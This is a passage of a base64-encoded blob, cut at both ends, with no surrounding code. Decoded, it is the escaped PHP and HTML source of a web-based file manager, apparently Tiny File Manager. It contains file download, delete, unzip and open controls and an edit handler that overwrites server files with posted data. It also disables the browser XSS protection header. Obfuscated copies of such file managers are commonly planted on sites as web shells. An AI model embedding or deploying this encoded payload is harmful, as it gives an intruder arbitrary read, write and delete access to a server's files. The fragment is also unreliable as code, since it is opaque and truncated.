Ryb25nPjw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEYXRlIE1vZGlmaWVkJykgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvIGRhdGUoRk1fREFURVRJTUVfRk9STUFULCBmaWxlbXRpbWUoJGZpbGVfcGF0aCkpOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0ZpbGUgc2l6ZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/IFwiJGZpbGVzaXplX3JhdyBieXRlc1wiIDogJGZpbGVzaXplOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ01JTUUtdHlwZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcyA9IDA7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wID0gMDtcbiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7XG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wICs9ICRmblsnY29tcHJlc3NlZF9zaXplJ107XG4gICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlcyBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gJHRvdGFsX2ZpbGVzID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdUb3RhbCBzaXplJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF91bmNvbXApID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPiA8P3BocCBlY2hvIGxuZygnU2l6ZSBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF9jb21wKSA/PjxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgXC8gbWF4KCR0b3RhbF91bmNvbXAsIDEpKSAqIDEwMCkgPz4lPFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc19pbWFnZSkge1xuICAgICAgICAgICAgICAgICAgICAkaW1hZ2Vfc2l6ZSA9IGdldGltYWdlc2l6ZSgkZmlsZV9wYXRoKTtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PHN0cm9uZz4nIC4gbG5nKCdJbWFnZSBzaXplJykgLiAnOjxcL3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPFwvbGk+JztcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgICRpc191dGY4ID0gZm1faXNfdXRmOCgkY29udGVudCk7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGlzX3V0ZjgpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRjb250ZW50KTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICBlY2hvICc8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPicgLiBsbmcoJ0NoYXJzZXQnKSAuICc6PFwvc3Ryb25nPiAnIC4gKCRpc191dGY4ID8gJ3V0Zi04JyA6ICc4IGJpdCcpIC4gJzxcL2xpPic7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC91bD5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJidG4tZ3JvdXAgYnRuLWdyb3VwLXNtIGZsZXgtd3JhcFwiIHJvbGU9XCJncm91cFwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cImQtaW5saW5lIG1iLTAgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiBhY3Rpb249XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLWxpbmsgYnRuLXNtIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wXCI+PGkgY2xhc3M9XCJmYSBmYS1jbG91ZC1kb3dubG9hZFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpID8+PFwvYnV0dG9uPiAmbmJzcDtcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz1cImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAxMjA5LCAnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpIC4gJyAnIC4gbG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PicsIHRoaXMuaHJlZik7XCI+IDxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiBEZWxldGU8XC9hPlxuICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1leHRlcm5hbC1saW5rLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48XC9hPjxcL2I+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIGJvcmRlci0wXCIgc3R5bGU9XCJmb250LXNpemU6IDE0cHg7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXAnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRvZm9sZGVyXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tbGluayB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMFwiIHN0eWxlPVwiZm9udC1zaXplOiAxNHB4O1wiIHRpdGxlPVwiVW5aaXAgdG8gPD9waHAgZWNobyBmbV9lbmMoJHppcF9uYW1lKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwVG9Gb2xkZXInKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJmdy1ib2xkIGJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIGNsYXNzPVwiZWRpdC1maWxlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRWRpdCcpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZVwiXG4gICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz1cImVkaXQtZmlsZVwiPjxpIGNsYXNzPVwiZmEgZmEtcGVuY2lsLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCBnby1iYWNrXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwicm93IG10LTNcIj5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIGlmICgkaXNfb25saW5lVmlld2VyKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkb25saW5lX3ZpZXdlciA9PSAnZ29vZ2xlJykge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9XCJodHRwczpcL1wvZG9jcy5nb29nbGUuY29tXC92aWV3ZXI/ZW1iZWRkZWQ9dHJ1ZSZobD1lbiZ1cmw9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIGZyYW1lYm9yZGVyPVwibm9cIiBzdHlsZT1cIndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweFwiPjxcL2lmcmFtZT4nO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKCRvbmxpbmVfdmlld2VyID09ICdtaWNyb3NvZnQnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz1cImh0dHBzOlwvXC92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb21cL29wXC9lbWJlZC5hc3B4P3NyYz0nIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgZnJhbWVib3JkZXI9XCJub1wiIHN0eWxlPVwid2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4XCI+PFwvaWZyYW1lPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkge1xuICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVuYW1lcyAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPVwibWF4aGVpZ2h0XCI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGZtX2VuYygkZm5bJ25hbWUnXSkgLiAnPFwvYj48YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmblsnbmFtZSddIC4gJyAoJyAuIGZtX2dldF9maWxlc2l6ZSgkZm5bJ2ZpbGVzaXplJ10pIC4gJyk8YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8XC9jb2RlPic7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nIC4gbG5nKCdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nKSAuICc8XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICdibXAnLCAnaWNvJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBpZD1cInByZXZpZXctaW1nLXpvb21DaGVja1wiPjxsYWJlbCBmb3I9XCJwcmV2aWV3LWltZy16b29tQ2hlY2tcIj48aW1nIHNyYz1cIicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICdcIiBhbHQ9XCJpbWFnZVwiIGNsYXNzPVwicHJldmlldy1pbWdcIj48XC9sYWJlbD48XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2F1ZGlvKSB7XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9XCInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvYXVkaW8+PFwvcD4nO1xuICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfdmlkZW8pIHtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1cInByZXZpZXctdmlkZW9cIj48dmlkZW8gc3JjPVwiJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIHdpZHRoPVwiNjQwXCIgaGVpZ2h0PVwiMzYwXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvdmlkZW8+PFwvZGl2Pic7XG4gICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChGTV9VU0VfSElHSExJR0hUSlMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzZXMgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdodGFjY2VzcycgPT4gJ2FwYWNoZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3BodG1sJyA9PiAncGhwJyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdmcnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0O1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRleHQpIHx8IGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCBmbV9nZXRfdGV4dF9uYW1lcygpKSB8fCBwcmVnX21hdGNoKCcjXFwubWluXFwuKGNzc3xqcykkI2knLCAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlIGNsYXNzPVwid2l0aC1obGpzXCI+PGNvZGUgY2xhc3M9XCInIC4gJGhsanNfY2xhc3MgLiAnXCI+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPFwvY29kZT48XC9wcmU+JztcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gaGlnaGxpZ2h0X3N0cmluZygkY29udGVudCwgdHJ1ZSk7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzxcL3ByZT4nO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJGNvbnRlbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL2Rpdj5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICFGTV9SRUFET05MWSkge1xuICAgICRmaWxlID0gJF9HRVRbJ2VkaXQnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuICAgICRlZGl0RmlsZSA9ICcgOiA8aT48Yj4nIC4gJGZpbGUgLiAnPFwvYj48XC9pPic7XG4gICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG5cbiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGZpbGUpO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7XG4gICAgaWYgKGlzc2V0KCRfR0VUWydlbnYnXSkpIHtcbiAgICAgICAgaWYgKCRfR0VUWydlbnYnXSA9PSBcImFjZVwiKSB7XG4gICAgICAgICAgICAkaXNOb3JtYWxFZGl0b3IgPSBmYWxzZTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVkYXRhJ10pKSB7XG4gICAgICAgICR3cml0ZWRhdGEgPSAkX1BPU1RbJ3NhdmVkYXRhJ107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpO1xuICAgICAgICBmY2xvc2UoJGZkKTtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5JykpO1xuICAgIH1cblxuICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpO1xuICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGgpO1xuICAgICRpc190ZXh0ID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcblxuICAgIGlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS01IGNvbC1sZy02IHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLXRvb2xiYXJcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBqcy1hY2UtdG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJub25lXCIgZGF0YS1vcHRpb249XCJmdWxsc2NyZWVuXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLWZ1bGxzY3JlZW5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLWV4cGFuZFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJmaW5kXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXNlYXJjaFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1zZWFyY2hcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJ1bmRvXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwicmVkb1wiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V